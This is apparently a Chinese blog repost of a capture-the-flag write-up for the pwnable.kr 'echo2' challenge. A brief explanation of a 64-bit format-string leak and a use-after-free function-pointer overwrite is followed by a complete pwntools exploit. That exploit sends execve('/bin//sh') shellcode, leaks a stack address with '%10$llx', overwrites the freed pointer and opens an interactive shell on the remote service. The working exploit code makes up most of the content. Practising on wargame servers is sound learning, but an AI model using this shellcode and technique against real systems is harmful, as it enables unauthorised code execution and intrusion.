pwnable 之echo2
来源:互联网 发布:淘宝开店在哪里拿货 编辑:程序博客网 时间:2024/06/05 07:27
首先利用2中格式化漏洞输出地址然后用3中释放的内存更改函数指针
这次的程序是64位所以关于参数卡了好久
首先64位格式化字符串要有5个参数放在寄存器中所以第一个地址是第六个参数然后由于ebp地址16位所以不能用%x泄露地址要用%llx
(偏移计算方法为(ebp-esp)/8+1+5)
附上代码
from pwn import *
context(arch='amd64', os='linux', endian='little', word_size=64)
p=remote("pwnable.kr",9011)
shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"\
"\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.sendline(shellcode)
print p.recvuntil('>')
p.sendline("2")
print p.recvuntil('\n')
p.sendline("%10$llx")
z=p.recv(16)
print z
addr=int(z,16)
print addr
p.recvuntil('>')
p.send('4' + '\n')
p.recvuntil(')')
p.send('n' + '\n')
p.recvuntil('>')
p.send('3' + '\n')
p.recvuntil('\n')
c=addr-0x20
p.sendline("a"*24+p64(c))
p.recvuntil('>')
p.sendline('2')
p.interactive()
- pwnable 之echo2
- pwnable之coin1
- pwnable之blackjack
- pwnable.kr 之fd
- pwnable.kr之bof
- pwnable.kr之flag
- pwnable.kr之passcode
- pwnable.kr之random
- pwnable.kr之shellshock
- pwnable.kr之mistake
- pwnable.kr之input
- pwnable.kr之lotto
- pwnable.kr之cmd1
- pwnable.kr之blackjack
- pwnable.kr之uaf
- pwnable之input
- pwnable.kr之cmd2
- pwnable.kr之uaf
- 网络基础 — IP地址数据报格式和TCP协议段格式的浅析
- 【C/C++】库函数中的字符串函数
- Mongodb安装配置详细图文教程
- quartz
- 如何让创建的eclipse项目支持myeclipse
- pwnable 之echo2
- 面向对象设计原则概述
- 【openjudge】分成互质组
- Java线程同步详解
- Git学习笔记
- DBUUO相关配置代码介绍
- 主流操作系统分类及Linux系统简介
- PAT b1021-b1025题解
- Java实现:输入一个整数数组,判断该数组是不是某二叉搜索树的后序遍历的结果。